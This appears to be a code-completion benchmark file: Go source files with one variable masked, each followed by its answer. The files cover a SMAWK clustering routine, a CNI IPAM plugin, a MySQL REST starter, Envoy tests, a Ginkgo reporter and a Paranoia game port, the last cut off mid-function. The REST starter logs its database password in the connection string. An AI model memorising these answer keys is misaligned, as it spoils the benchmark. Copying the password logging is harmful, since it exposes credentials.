js[r] if j_abs < J[q-1][i] { continue } if j_abs > i { break } Sj := (S[q-1][j_abs-1] + sm.dissimilarity(j_abs, i, sum_x, sum_x_sq, sum_w, sum_w_sq)) if Sj <= S[q][i] { S[q][i] = Sj J[q][i] = js[r] [MASK] = r } } } } func (sm *SMAWK) reduce_in_place(imin, imax, istep, q int, js, js_red []int, S [][]float64, J [][]int, sum_x, sum_x_sq, sum_w, sum_w_sq []float64) { N := (imax-imin)/istep + 1 copy(js_red, js) if N >= len(js) { return } // Two positions to move candidate j's back and forth left := -1 // points to last favorable position / column right := 0 // points to current position / column m := len(js_red) for m > N { // js_reduced has more than N positions / columns p := left + 1 i := imin + p*istep j := js_red[right] Sl := S[q-1][j-1] + sm.dissimilarity(j, i, sum_x, sum_x_sq, sum_w, sum_w_sq) jplus1 := js_red[right+1] Slplus1 := S[q-1][jplus1-1] + sm.dissimilarity(jplus1, i, sum_x, sum_x_sq, sum_w, sum_w_sq) if Sl < Slplus1 && p < N-1 { left++ js_red[left] = j right++ } else if Sl < Slplus1 && p == N-1 { right++ js_red[right] = j m-- } else { if p > 0 { js_red[right] = js_red[left] left-- } else { right++ } m-- } } for r := left + 1; r < m; r++ { js_red[r] = js_red[right] right++ } tmp := make([]int, m) copy(tmp, js_red) js_red = tmp } func (sm *SMAWK) fill_even_positions(imin, imax, istep, q int, js []int, S [][]float64, J [][]int, sum_x, sum_x_sq, sum_w, sum_w_sq []float64) { n := len(js) istepx2 := istep << 1 jl := js[0] r := 0 for i := imin; i <= imax; i += istepx2 { for js[r] < jl { r++ } S[q][i] = S[q-1][js[r]-1] + sm.dissimilarity(js[r], i, sum_x, sum_x_sq, sum_w, sum_w_sq) J[q][i] = js[r] // Look for minimum S upto jmax within js var jh int if i+istep <= imax { jh = J[q][i+istep] } else { jh = js[n-1] } jmax := jh if i < jmax { jmax = i } sjimin := sm.dissimilarity(jmax, i, sum_x, sum_x_sq, sum_w, sum_w_sq) r++ for ; r < n && js[r] <= jmax; r++ { jabs := js[r] if jabs > i { break } if jabs < J[q-1][i] { continue } s := sm.dissimilarity(jabs, i, sum_x, sum_x_sq, sum_w, sum_w_sq) Sj := S[q-1][jabs-1] + s if Sj <= S[q][i] { S[q][i] = Sj J[q][i] = js[r] } else if S[q-1][jabs-1]+sjimin > S[q][i] { break } } r-- jl = jh } } func (sm *SMAWK) dissimilarity(j, i int, sum_x, sum_x_sq, sum_w, sum_w_sq []float64) float64 { return sm.criterionx.Dissimilarity(j, i, sum_x, sum_x_sq, sum_w, sum_w_sq) } ",rmin_prev 200,"package main import ( ""fmt"" ""strings"" ""net"" ""os"" ""io/ioutil"" ""encoding/json"" ""github.com/containernetworking/cni/pkg/skel"" cnitypes ""github.com/containernetworking/cni/pkg/types"" ""github.com/containernetworking/cni/pkg/types/current"" ""github.com/containernetworking/cni/pkg/version"" ""github.com/dougbtv/whereabouts/pkg/allocate"" ""github.com/dougbtv/whereabouts/pkg/config"" ""github.com/dougbtv/whereabouts/pkg/logging"" ""github.com/dougbtv/whereabouts/pkg/storage"" ""github.com/dougbtv/whereabouts/pkg/openwisp"" ""github.com/dougbtv/whereabouts/pkg/phpipam"" ""github.com/dougbtv/whereabouts/pkg/nsxtipam"" ""github.com/dougbtv/whereabouts/pkg/types"" ) type IPAMPlug struct { Type string `json:""ipamtype,omitempty""` Url string `json:""ipamurl,omitempty""` Username string `json:""ipamuser,omitempty""` Password string `json:""ipampwd,omitempty""` } func main() { // TODO: implement plugin version skel.PluginMain(cmdAdd, cmdGet, cmdDel, version.All, ""TODO"") } func cmdGet(args *skel.CmdArgs) error { // TODO return fmt.Errorf(""CNI GET method is not implemented"") } func cmdAdd(args *skel.CmdArgs) error { ipamConf, confVersion, err := config.LoadIPAMConfig(args.StdinData, args.Args) if err != nil { logging.Errorf(""IPAM configuration load failed: %s"", err) return err } logging.Debugf(""ADD - IPAM configuration successfully read: %+v"", filterConf(*ipamConf)) logging.Debugf(""ADD - Input parameters were %s and %s"", args.StdinData, ipamConf.Pool ) // Initialize our result, and assign DNS & routing. result := ¤t.Result{} result.DNS = ipamConf.DNS result.Routes = ipamConf.Routes result.CNIVersion = confVersion ipamProv := IPAMPlug{} jsonFile, err := os.Open(""/etc/cni/net.d/whereabouts.d/whereabouts-ipam.conf"") if err != nil { logging.Debugf(""1"") return fmt.Errorf(""Error opening flat configuration file %s"", err) } defer jsonFile.Close() jsonBytes, err := ioutil.ReadAll(jsonFile) if err != nil { return fmt.Errorf(""LoadIPAMConfig Flatfile - ioutil.ReadAll error: %s"", err) } if err := json.Unmarshal(jsonBytes, &ipamProv); err != nil { return fmt.Errorf(""LoadIPAMConfig Flatfile - JSON Parsing Error: %s / bytes: %s"", err, jsonBytes) } logging.Debugf(""Beginning IPAM for ContainerID: %v"", args.ContainerID) //newip, err := storage.IPManagement(types.Allocate, *ipamConf, args.ContainerID, getPodRef(args.Args)) var newip net.IPNet gw1 := """" if ipamProv.Type == ""openwisp"" { newip, gw1, err = openwisp.IPManagement(types.Allocate, *ipamConf, args.ContainerID, getPodRef(args.Args)) result.Routes = ipamConf.Routes } else if ipamProv.Type == ""phpipam"" { newip, gw1, err = phpipam.IPManagement(types.Allocate, *ipamConf, args.ContainerID, getPodRef(args.Args)) result.Routes = ipamConf.Routes } else if ipamProv.Type == ""nsxtipam"" { var route_list []*cnitypes.Route newip, gw1, route_list, err = nsxtipam.IPManagement(types.Allocate, *ipamConf, args.ContainerID, getPodRef(args.Args)) //nsx-t also providdes option 121 routes. adding those routes to result //for route_entry := range route_list { result.Routes = route_list // result.Routes = append(result.Routes, route_list[route_entry]) // } } else { newip, err = storage.IPManagement(types.Allocate, *ipamConf, args.ContainerID, getPodRef(args.Args)) result.Routes = ipamConf.Routes } ipamConf.Gateway = net.ParseIP(gw1) if err != nil { logging.Errorf(""Error at storage engine: %s"", err) return fmt.Errorf(""Error at storage engine: %w"", err) } // Determine if v4 or v6. var useVersion string if allocate.IsIPv4(newip.IP) { useVersion = ""4"" } else { useVersion = ""6"" } result.IPs = append(result.IPs, ¤t.IPConfig{ Version: useVersion, Address: newip, Gateway: ipamConf.Gateway}) logging.Debugf(""result is %s"",result) // Assign all the static IP elements. for _, v := range ipamConf.Addresses { result.IPs = append(result.IPs, ¤t.IPConfig{ Version: v.Version, Address: v.Address, Gateway: v.Gateway}) } b,_ := json.MarshalIndent(result,"""", "" "") logging.Debugf(""result returned is %s"", b) return cnitypes.PrintResult(result, confVersion) } func cmdDel(args *skel.CmdArgs) error { ipamConf, _, err := config.LoadIPAMConfig(args.StdinData, args.Args) if err != nil { logging.Errorf(""IPAM configuration load failed: %s"", err) return err } logging.Debugf(""DEL - IPAM configuration successfully read: %+v"", filterConf(*ipamConf)) logging.Debugf(""ContainerID: %v"", args.ContainerID) ipamProv := IPAMPlug{} jsonFile, err := os.Open(""/etc/cni/net.d/whereabouts.d/whereabouts-ipam.conf"") if err != nil { logging.Debugf(""1"") return fmt.Errorf(""Error opening flat configuration file %s"", err) } defer jsonFile.Close() jsonBytes, err := ioutil.ReadAll(jsonFile) if err != nil { return fmt.Errorf(""LoadIPAMConfig Flatfile - ioutil.ReadAll error: %s"", err) } if err := json.Unmarshal(jsonBytes, &ipamProv); err != nil { return fmt.Errorf(""LoadIPAMConfig Flatfile - JSON Parsing Error: %s / bytes: %s"", err, jsonBytes) } //_, err = storage.IPManagement(types.Deallocate, *ipamConf, args.ContainerID, getPodRef(args.Args)) if ipamProv.Type == ""openwisp"" { _,_,err = openwisp.IPManagement(types.Deallocate, *ipamConf, args.ContainerID, getPodRef(args.Args)) } else if ipamProv.Type == ""phpipam"" { _,_, err = phpipam.IPManagement(types.Deallocate, *ipamConf, args.ContainerID, getPodRef(args.Args)) } else if ipamProv.Type == ""nsxtipam"" { _,_,_,err = nsxtipam.IPManagement(types.Deallocate, *ipamConf, args.ContainerID, getPodRef(args.Args)) } else { _, err = storage.IPManagement(types.Deallocate, *ipamConf, args.ContainerID, getPodRef(args.Args)) } if err != nil { logging.Verbosef(""WARNING: Problem deallocating IP: %s"", err) // return fmt.Errorf(""Error deallocating IP: %s"", err) } return nil } func filterConf(conf types.IPAMConfig) types.IPAMConfig { new := conf new.EtcdPassword = ""*********"" return new } // GetPodRef constructs the PodRef string from CNI arguments. // It returns an empty string, if K8S_POD_NAMESPACE & K8S_POD_NAME arguments are not provided. func getPodRef(args string) string { [MASK] := """" podName := """" for _, arg := range strings.Split(args, "";"") { if strings.HasPrefix(arg, ""K8S_POD_NAMESPACE="") { [MASK] = strings.TrimPrefix(arg, ""K8S_POD_NAMESPACE="") } if strings.HasPrefix(arg, ""K8S_POD_NAME="") { podName = strings.TrimPrefix(arg, ""K8S_POD_NAME="") } } if [MASK] != """" && podName != """" { return [MASK] + ""/"" + podName } return """" } ",podNs 201,"package api import ( ""database/sql"" ""fmt"" ""log"" ""net/http"" ""os"" _ ""github.com/go-sql-driver/mysql"" ""github.com/gorilla/mux"" ""golang-mysql-restful-starter-kit/config"" ""golang-mysql-restful-starter-kit/dao"" ""golang-mysql-restful-starter-kit/handlers"" ""golang-mysql-restful-starter-kit/middleware"" ""golang-mysql-restful-starter-kit/services"" ) type IApp interface { Run() } type app struct { router *mux.Router db *sql.DB } func NewApp() IApp { a := &app{} connStr := fmt.Sprintf(""%s:%s@tcp(%s)/%s"", os.Getenv(config.DB_USERNAME), os.Getenv(config.DB_PASSWORD), os.Getenv(config.DB_HOST), os.Getenv(config.DB_NAME)) log.Println(""Connection String "", connStr) db, err := sql.Open(""mysql"", connStr) if err != nil { log.Printf(""Error %s when opening DB\n"", err) } log.Println(""DB connected"") a.db = db a.router = mux.NewRouter() a.initRoutes() return a } func (a *app) Run() { log.Println("":"" + os.Getenv(config.APP_PORT)) log.Fatal(http.ListenAndServe("":""+os.Getenv(config.APP_PORT), a.router)) } func (a *app) initRoutes() { userDao := dao.NewUserDao(a.db) [MASK] := services.NewUserService(userDao) userHandlsers := handlers.NewUserHandler( [MASK] ) authHandlsers := handlers.NewAuthHandler( [MASK] ) // *********************************** Auth ****************************************** a.router.HandleFunc(""/auth/register"", authHandlsers.Register).Methods(http.MethodPost) a.router.HandleFunc(""/auth/login"", authHandlsers.Login).Methods(http.MethodPost) // ********************************* User ****************************************** a.router.HandleFunc(""/users/{id:[0-9]+}"", middleware.IsAuthorized(userHandlsers.UserDetails)).Methods(http.MethodGet) a.router.HandleFunc(""/users"", middleware.IsAuthorized(userHandlsers.AllUsers)).Methods(http.MethodGet) } ",userSrv 202,"package envoy import ( ""testing"" ""github.com/3scale-sre/marin3r/api/envoy"" envoy_config_cluster_v3 ""github.com/envoyproxy/go-control-plane/envoy/config/cluster/v3"" envoy_config_endpoint_v3 ""github.com/envoyproxy/go-control-plane/envoy/config/endpoint/v3"" ) func Test_ResourcesEqual(t *testing.T) { type args struct { a map[string]envoy.Resource b map[string]envoy.Resource } tests := []struct { name string args args want bool }{ { name: ""Returns true if snapshot resources are equal"", args: args{ a: map[string]envoy.Resource{ ""endpoint"": &envoy_config_endpoint_v3.ClusterLoadAssignment{ClusterName: ""endpoint""}, ""cluster1"": &envoy_config_cluster_v3.Cluster{Name: ""cluster1""}, }, b: map[string]envoy.Resource{ ""endpoint"": &envoy_config_endpoint_v3.ClusterLoadAssignment{ClusterName: ""endpoint""}, ""cluster1"": &envoy_config_cluster_v3.Cluster{Name: ""cluster1""}, }, }, want: true, }, { name: ""Returns false, different number of resources"", args: args{ a: map[string]envoy.Resource{ ""endpoint"": &envoy_config_endpoint_v3.ClusterLoadAssignment{ClusterName: ""endpoint""}, ""cluster1"": &envoy_config_cluster_v3.Cluster{Name: ""cluster1""}, ""cluster2"": &envoy_config_cluster_v3.Cluster{Name: ""cluster2""}, }, b: map[string]envoy.Resource{ ""endpoint"": &envoy_config_endpoint_v3.ClusterLoadAssignment{ClusterName: ""endpoint""}, ""cluster1"": &envoy_config_cluster_v3.Cluster{Name: ""cluster1""}, }, }, want: false, }, { name: ""Returns false, different resource name"", args: args{ a: map[string]envoy.Resource{ ""endpoint"": &envoy_config_endpoint_v3.ClusterLoadAssignment{ClusterName: ""endpoint""}, ""cluster1"": &envoy_config_cluster_v3.Cluster{Name: ""cluster1""}, ""cluster2"": &envoy_config_cluster_v3.Cluster{Name: ""cluster2""}, }, b: map[string]envoy.Resource{ ""endpoint"": &envoy_config_endpoint_v3.ClusterLoadAssignment{ClusterName: ""endpoint""}, ""cluster1"": &envoy_config_cluster_v3.Cluster{Name: ""cluster1""}, ""different"": &envoy_config_cluster_v3.Cluster{Name: ""cluster2""}, }, }, want: false, }, { name: ""Returns false, different proto message"", args: args{ a: map[string]envoy.Resource{ ""endpoint"": &envoy_config_endpoint_v3.ClusterLoadAssignment{ClusterName: ""endpoint""}, ""cluster1"": &envoy_config_cluster_v3.Cluster{Name: ""cluster1""}, ""cluster2"": &envoy_config_cluster_v3.Cluster{Name: ""cluster2""}, }, b: map[string]envoy.Resource{ ""endpoint"": &envoy_config_endpoint_v3.ClusterLoadAssignment{ClusterName: ""endpoint""}, ""cluster1"": &envoy_config_cluster_v3.Cluster{Name: ""cluster1""}, ""cluster2"": &envoy_config_cluster_v3.Cluster{Name: ""different""}, }, }, want: false, }} for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if [MASK] := ResourcesEqual(tt.args.a, tt.args.b); [MASK] != tt.want { t.Errorf(""resourcesEqual() = %v, want %v"", [MASK] , tt.want) } }) } } ",got 203,"package reporter import ( ""fmt"" ""strings"" ""time"" ""github.com/onsi/ginkgo/config"" ""github.com/onsi/ginkgo/types"" ) //GoTestCompatibleReporter is useful for testing purposes type GoTestCompatibleReporter struct { Config config.GinkgoConfigType } func NewGoTestCompatibleReporter() *GoTestCompatibleReporter { return &GoTestCompatibleReporter{} } func createTestName(texts []string) string { name := """" for _, text := range texts[1:] { name += strings.Replace(text, "" "", ""_"", -1) + ""_"" } return name } func (reporter *GoTestCompatibleReporter) SpecSuiteWillBegin(config config.GinkgoConfigType, summary *types.SuiteSummary) { } func (reporter *GoTestCompatibleReporter) BeforeSuiteDidRun(setupSummary *types.SetupSummary) { //reporter.BeforeSuiteSummary = setupSummary } func (reporter *GoTestCompatibleReporter) SpecWillRun(specSummary *types.SpecSummary) { fmt.Println(""=== RUN "", createTestName(specSummary.ComponentTexts)) } func (reporter *GoTestCompatibleReporter) SpecDidComplete(specSummary *types.SpecSummary) { var [MASK] string = ""--- "" postfix := ""\n"" + specSummary.CapturedOutput if specSummary.Passed() { [MASK] += ""PASS"" } else if specSummary.Failed() { [MASK] += ""FAIL"" postfix += specSummary.Failure.Message + ""\n"" } else if specSummary.Panicked() { [MASK] = ""panic: "" + specSummary.Failure.ForwardedPanic + "" [recovered] "" postfix += fmt.Sprintf(""Location: %v \nMessage: %v\n"", specSummary.Failure.ComponentCodeLocation.String(), specSummary.Failure.Message) } else if specSummary.Skipped() { [MASK] += ""SKIP"" } else if specSummary.Pending() { [MASK] += ""PENDING"" } if [MASK] != ""--- "" { fmt.Printf(""%s: %s (%0.2f)s\n"", [MASK] , createTestName(specSummary.ComponentTexts), (float64(specSummary.RunTime) / float64(time.Second))) } if postfix != """" { fmt.Println(postfix) } } func (reporter *GoTestCompatibleReporter) AfterSuiteDidRun(setupSummary *types.SetupSummary) { } func (reporter *GoTestCompatibleReporter) SpecSuiteDidEnd(summary *types.SuiteSummary) { } ",header 204,"// paranoia // // This game was published in Volume 1, Issue 94 of the ""comp.sources.games"" // Usenet newsgroup on 1987-07-16. It was translated to Go in 2022-02 as part // of the ""comp.sources.games"" Github project. // // Original description follows: // // This is a solo paranoia game taken from the Jan/Feb issue (No. 77) of // ""SpaceGamer/FantasyGamer"" magazine. // // Article by . // Implemented in C on Vax 11/780 under UNIX by . // // This is a public domain adventure and may not be sold for profit. package main import ( ""bufio"" ""flag"" ""fmt"" ""html/template"" ""log"" ""math/rand"" ""os"" ""time"" ) var debug = flag.Bool(""debug"", false, ""Turn on debugging mode."") const ( MaxHP = 10 // Maximum number of hit points. MaxLives = 6 // Maximum number of player clones. MaxKill = 7 // Maximum number of Ultraviolets you can kill. ) // input provides all of our player input. var input = bufio.NewReader(os.Stdin) // Abilities wraps the subset of player ability scores that are actually // referenced by the game. These ability score are generally tested against // a 2d10 die roll. type Abilities struct { Moxie, Agility int } // NewAbilities creates a new Abilities struct. func NewAbilities() *Abilities { return &Abilities{ Moxie: 13, Agility: 15, } } // Flags wraps the collection of flags associated with the player's progress // through the game. type Flags struct { // ActionDoll indicates possession of the action doll. ActionDoll bool // BlastDoor indicates whether the player has opened the blast door. BlastDoor bool // ComputerRequest indicates whether the player has complied with the // computer request to ""stop and chat"". ComputerRequest bool // ReadLetter indicates whether the player has read the sealed letter. ReadLetter bool // Ultraviolet indicates whether the player is disguised as an Ultraviolet. Ultraviolet bool } // State describes the current state of the game. type State struct { // Clone holds the number of the player's current clone. Clone int // Page holds the current ""page number"" within the story. Page int // HP holds the current number of hit points. HP int // PlatoClone holds the number of the Plato clone. PlatoClone int // KillerCount holds the number of player kills. KillerCount int // Abilities holds the player's ability scores. Abilities *Abilities // Flags holds the collection of status flags. Flags *Flags } // NewState initializes a fresh, new game state. func NewState() *State { return &State{ Clone: 1, Page: 1, HP: MaxHP, PlatoClone: 3, Abilities: NewAbilities(), Flags: &Flags{}, } } // Character prints out the character sheet. func (s *State) Character() { t := template.Must(template.New(""character"").Parse(` =============================================================================== The Character : Philo-R-DMD{{.Clone}} Primary Attributes Secondary Attributes =============================================================================== Strength ..................... 13 Carrying Capacity ................. 30 Endurance .................... 13 Damage Bonus ....................... 0 Agility ...................... {{printf ""%2d"" .Abilities.Agility}} Macho Bonus ....................... -1 Manual Dexterity ............. 15 Melee Bonus ...................... +5% Moxie ........................ {{printf ""%2d"" .Abilities.Moxie}} Aimed Weapon Bonus .............. +10% Chutzpah ...................... 8 Comprehension Bonus .............. +4% Mechanical Aptitude .......... 14 Believability Bonus .............. +5% Power Index .................. 10 Repair Bonus ..................... +5% =============================================================================== Credits: 160 Secret Society: Illuminati Secret Society Rank: 1 Service Group: Power Services Mutant Power: Precognition Weapon: laser pistol; to hit, 40%; type, L; Range, 50m; Reload, 6r; Malfnt, 00 Skills: Basics 1(20%), Aimed Weapon Combat 2(35%), Laser 3(40%), Personal Development 1(20%), Communications 2(29%), Intimidation 3(34%) Equipment: Red Reflec Armour, Laser Pistol, Laser Barrel (red), Notebook & Stylus, Knife, Com Unit 1, Jump suit, Secret Illuminati Eye-In-The-Pyramid(tm) Decoder ring, Utility Belt & Pouches =============================================================================== `)) t.Execute(os.Stdout, s) } // Choice represents one of the options passed to the Choose method. type Choice struct { page int text string } // Choose offers the player a choice among several options. The return value // is the page number associated with that choice. func (s *State) Choose(opts ...Choice) int { fmt.Println(""\nSelect one of the following:"") for i, opt := range opts { fmt.Printf("" %c - %s.\n"", 'a'+i, opt.text) } fmt.Print(""Your choice: "") for ch := GetChar(); ; ch = GetChar() { if i := ch - 'a'; i < byte(len(opts)) { return opts[i].page } } } // Exec executes the function for the current page and returns the index of // the next page for the player to encounter. func (s *State) Exec() int { if *debug { fmt.Printf(""PAGE %d\n"", s.Page) } next := Pages[s.Page](s) if next != 0 { s.More() } return next } // Instructions presents the instruction page to the player. func (s *State) Instructions() { fmt.Print(` Welcome to Paranoia! HOW TO PLAY: Just press until you are asked to make a choice. Select 'a' or 'b' or whatever for your choice, then press . You may select 'p' at any time to get a display of your statistics. Always choose the least dangerous option. Continue doing this until you win. At times you will use a skill or engage in combat and and will be informed of the outcome. These sections will be self explanatory. HOW TO DIE: As Philo-R-DMD you will die at times during the adventure. When this happens you will be given an new clone at a particular location. The new Philo-R will usually have to retrace some of the old Philo-R's path; hopefully he won't make the same mistake as his predecessor. HOW TO WIN: Simply complete the mission before you expend all six clones. If you make it, congratulations. If not, you can try again later. `) } // More pauses output for a user response, optionally giving them a chance to // review their character info through the ""p"" command. func (s *State) More() { fmt.Print(""\n---------- More ----------"") if GetChar() == 'p' { s.Character() fmt.Print(""\n---------- More ----------"") GetChar() } } // NewClone kills the player's current clone and attempts to create a new one // starting at the given page. The return value is the new page number, which // is 0 for game over. func (s *State) NewClone(page int) int { fmt.Printf(""\nClone %d just died.\n"", s.Clone) s.Clone++ if s.Clone > MaxLives { fmt.Print(` *** You Lose *** All your clones are dead. Your name has been stricken from the records. THE END `) return 0 } fmt.Printf(""Clone %d now activated.\n"", s.Clone) s.Flags.Ultraviolet = false s.Flags.ActionDoll = false s.HP = MaxHP s.KillerCount = 0 return page } //----------------------------------------------------------------------------- // A PageFunc implements a single ""page"" in the game and returns the index of // the next page for the player. type PageFunc func(*State) int // Pages is the global map of page functions. var Pages = map[int]PageFunc{ 1: func(*State) int { fmt.Print(` You wake up face down on the red and pink checked E-Z-Kleen linoleum floor. You recognise the pattern, it's the type preferred in the internal security briefing cells. When you finally look around you, you see that you are alone in a large mission briefing room. `) return 57 }, 2: func(s *State) int { fmt.Print(` ""Greetings,"" says the kindly Internal Security self incrimination expert who meets you at the door, ""How are we doing today?"" He offers you a doughnut and coffee and asks what brings you here. This doesn't seem so bad, so you tell him that you have come to confess some possible security lapses. He smiles knowingly, deftly catching your coffee as you slump to the floor. ""Nothing to be alarmed about; it's just the truth serum,"" he says, dragging you back into a discussion room. The next five hours are a dim haze, but you can recall snatches of conversation about your secret society, your mutant power, and your somewhat paranoid distrust of The Computer. This should explain why you are hogtied and moving slowly down the conveyer belt towards the meat processing unit in Food Services. `) if s.Flags.ComputerRequest { return s.NewClone(45) } return s.NewClone(32) }, 3: func(s *State) int { fmt.Print(` You walk to the nearest Computer terminal and request more information about Christmas. The Computer says, ""That is an A-1 ULTRAVIOLET ONLY IMMEDIATE TERMINATION classified topic. What is your clearance please, Troubleshooter?"" `) return s.Choose( Choice{4, ""You give your correct clearance""}, Choice{5, ""You lie and claim Ultraviolet clearance""}, ) }, 4: func(*State) int { fmt.Print(` ""That is classified information, Troubleshooter, thank you for your inquiry. Please report to an Internal Security self incrimination station as soon as possible."" `) return 9 }, 5: func(s *State) int { fmt.Print(` The computer says, ""Troubleshooter, you are not wearing the correct colour uniform. You must put on an Ultraviolet uniform immediately. I have seen to your needs and ordered one already; it will be here shortly. Please wait with your back to the wall until it arrives."" In less than a minute an infrared arrives carrying a white bundle. He asks you to sign for it, then hands it to you and stands back, well outside of a fragmentation grenade's blast radius. `) return s.Choose( Choice{6, ""You open the package and put on the uniform""}, Choice{7, ""You finally come to your senses and run for it""}, ) }, 6: func(s *State) int { fmt.Print(` The uniform definitely makes you look snappy and pert. It really looks impressive, and even has the new lopsided lapel fashion that you admire so much. What's more, citizens of all ranks come to obsequious attention as you walk past. This isn't so bad being an Ultraviolet. You could probably come to like it, given time. The beeping computer terminal interrupts your musings. `) s.Flags.Ultraviolet = true return 8 }, 7: func(s *State) int { fmt.Print(` The corridor lights dim and are replaced by red battle lamps as the Security Breach alarms howl all around you. You run headlong down the corridor and desperately windmill around a corner, only to collide with a squad of 12 Blue clearance Vulture squadron soldiers. ""Stop, Slime Face,"" shouts the commander, ""or there won't be enough of you left for a tissue sample."" ""All right, soldiers, stuff the greasy traitor into the uniform,"" he orders, waving the business end of his blue laser scant inches from your nose. With his other hand he shakes open a white bundle to reveal a pristine new Ultraviolet citizen's uniform. One of the Vulture squadron Troubleshooters grabs you by the neck in the exotic and very painful Vulture Clamp(tm) death grip (you saw a special about it on the Teela O'Malley show), while the rest tear off your clothes and force you into the Ultraviolet uniform. The moment you are dressed they step clear and stand at attention. `) s.More() fmt.Print(` ""Thank you for your cooperation, sir,"" says the steely eyed leader of the Vulture Squad. ""We will be going about our business now."" With perfect timing the Vultures wheel smartly and goosestep down the corridor. Special Note: don't make the mistake of assuming that your skills have improved any because of the uniform; you're only a Red Troubleshooter traitorously posing as an Ultraviolet, and don't you forget it! Suddenly, a computer terminal comes to life beside you. `) s.Flags.Ultraviolet = true return 8 }, 8: func(*State) int { fmt.Print(` ""Now, about your question, citizen. Christmas was an old world marketing ploy to induce lower clearance citizens to purchase vast quantities of goods, thus accumulating a large amount of credit under the control of a single class of citizen known as Retailers. The strategy used is to imply that all good citizens give gifts during Christmas, thus if one wishes to be a valuable member of society one must also give gifts during Christmas. More valuable gifts make one a more valuable member, and thus did the Retailers come to control a disproportionate amount of the currency. In this way Christmas eventually caused the collapse of the old world. Understandably, Christmas has been declared a treasonable practice in Alpha Complex. ""Thank you for your inquiry."" You continue on your way to GDH7-beta. `) return 10 }, 9: func(s *State) int { fmt.Print(` As you walk toward the tubecar that will take you to GDH7-beta, you pass one of the bright blue and orange Internal Security self incrimination stations. Inside, you can see an IS agent cheerfully greet an infrared citizen and then lead him at gunpoint into one of the rubber lined discussion rooms. `) ch := s.Choose( Choice{2, ""You decide to stop here and chat, as ordered by The Computer""}, Choice{10, ""You just continue blithely on past""}, ) s.Flags.ComputerRequest = (ch == 2) return ch }, 10: func(s *State) int { fmt.Print(` You stroll briskly down the corridor, up a ladder, across an unrailed catwalk, under a perilously swinging blast door in urgent need of repair, and into tubecar grand central. This is the bustling hub of Alpha Complex tubecar transportation. Before you spreads a spaghetti maze of magnalift tube tracks and linear accelerators. You bravely study the specially enhanced 3-D tube route map; you wouldn't be the first Troubleshooter to take a fast tube ride to nowhere. `) if !s.Flags.Ultraviolet { if ch := s.Choose( Choice{3, ""You decide to ask The Computer about Christmas using a nearby terminal""}, Choice{10, ""You think you have the route worked out, so you'll board a tube train""}, ); ch == 3 { return ch } } fmt.Println(""\nYou nervously select a tubecar and step aboard."") if DiceRoll(2, 10) < s.Abilities.Moxie { fmt.Println(""\nYou just caught a purple line tubecar."") return 13 } fmt.Println(""\nYou just caught a brown line tubecar."") return 48 }, 11: func(s *State) int { fmt.Print(` The printing on the folder says ""Experimental Self Briefing."" You open it and begin to read the following: Step 1: Compel the briefing subject to attend the briefing. Note: See Experimental Briefing Sub Form Indigo-WY-2, 'Experimental Self Briefing Subject Acquisition Through The Use Of Neurotoxin Room Foggers.' Step 2: Inform the briefing subject that the briefing has begun. ATTENTION: THE BRIEFING HAS BEGUN. Step 3: Present the briefing material to the briefing subject. GREETINGS TROUBLESHOOTER. YOU HAVE BEEN SPECIALLY SELECTED TO SINGLEHANDEDLY WIPE OUT A DEN OF TRAITOROUS CHRISTMAS ACTIVITY. YOUR MISSION IS TO GO TO GOODS DISTRIBUTION HALL 7-BETA AND ASSESS ANY CHRISTMAS ACTIVITY YOU FIND THERE. YOU ARE TO INFILTRATE THESE CHRISTMAS CELEBRANTS, LOCATE THEIR RINGLEADER, AN UNKNOWN MASTER RETAILER, AND BRING HIM BACK FOR EXECUTION AND TRIAL. THANK YOU. THE COMPUTER IS YOUR FRIEND. `) s.More() fmt.Print(` Step 4: Sign the briefing subject's briefing release form to indicate that the briefing subject has completed the briefing. ATTENTION: PLEASE SIGN YOUR BRIEFING RELEASE FORM. Step 5: Terminate the briefing ATTENTION: THE BRIEFING IS TERMINATED. You walk to the door and hold your signed briefing release form up to the plexiglass window. A guard scrutinises it for a moment and then slides back the megabolts holding the door shut. You are now free to continue the mission. `) return s.Choose( Choice{3, ""You wish to ask The Computer for more information about Christmas""}, Choice{10, ""You have decided to go directly to Goods Distribution Hall 7-beta""}, ) }, 12: func(s *State) int { fmt.Print(` You walk up to the door and push the button labelled ""push to exit."" Within seconds a surly looking guard shoves his face into the small plexiglass window. You can see his mouth forming words but you can't hear any of them. You just stare at him blankly for a few moments until he points down to a speaker on your side of the door. When you put your ear to it you can barely hear him say, ""Let's see your briefing release form, bud. You aren't getting out of here without it."" `) return s.Choose( Choice{11, ""You sit down at the table and read the Orange packet""}, Choice{57, ""You stare around the room some more""}, ) }, 13: func(*State) int { fmt.Print(` You step into the shiny plasteel tubecar, wondering why the shape has always reminded you of bullets. The car shoots forward the instant your feet touch the slippery gray floor, pinning you immobile against the back wall as the tubecar careens toward GDH7-beta. Your only solace is the knowledge that it could be worse, much worse. Before too long the car comes to a stop. You can see signs for GDH7-beta through the window. With a little practice you discover that you can crawl to the door and pull open the latch. `) return 14 }, 14: func(*State) int { fmt.Print(` You manage to pull yourself out of the tubecar and look around. Before you is one of the most confusing things you have ever seen, a hallway that is simultaneously both red and green clearance. If this is the result of Christmas then it's easy to see the evils inherent in its practice. You are in the heart of a large goods distribution centre. You can see all about you evidence of traitorous secret society Christmas celebration; rubber faced robots whiz back and forth selling toys to holiday shoppers, simul-plast wreaths hang from every light fixture, while ahead in the shadows is a citizen wearing a huge red synthetic flower. `) return 22 }, 15: func(s *State) int { fmt.Print(` You are set upon by a runty robot with a queer looking face and two pointy rubber ears poking from beneath a tattered cap. ""Hey mister,"" it says, you done all your last minute Christmas shopping? I got some real neat junk here. You don't wanna miss the big day tommorrow, if you know what I mean."" The robot opens its bag to show you a pile of shoddy Troubleshooter dolls. It reaches in and pulls out one of them. ""Look, these Action Troubleshooter(tm) dolls are the neatest thing. This one's got moveable arms and when you squeeze him, his little rifle squirts realistic looking napalm. It's only 50 credits. Oh yeah, Merry Christmas."" `) return s.Choose( Choice{16, ""You decide to buy the doll""}, Choice{17, ""You shoot the robot""}, Choice{22, ""You ignore the robot and keep searching the hall""}, ) }, 16: func(s *State) int { fmt.Print(` The doll is a good buy for fifty credits; it will make a fine Christmas present for one of your friends. After the sale the robot rolls away. You can use the doll later in combat. It works just like a cone rifle firing napalm, except that occasionally it will explode and blow the user to smithereens. But don't let that stop you. `) s.Flags.ActionDoll = true return 22 }, 17: func(s *State) int { fmt.Print(` You whip out your laser and shoot the robot, but not before it squeezes the toy at you. The squeeze toy has the same effect as a cone rifle firing napalm, and the elfbot's armour has no effect against your laser. `) [MASK] := 15 for i := 0; i < 2; i++ { if DiceRoll(1, 100) <= 25 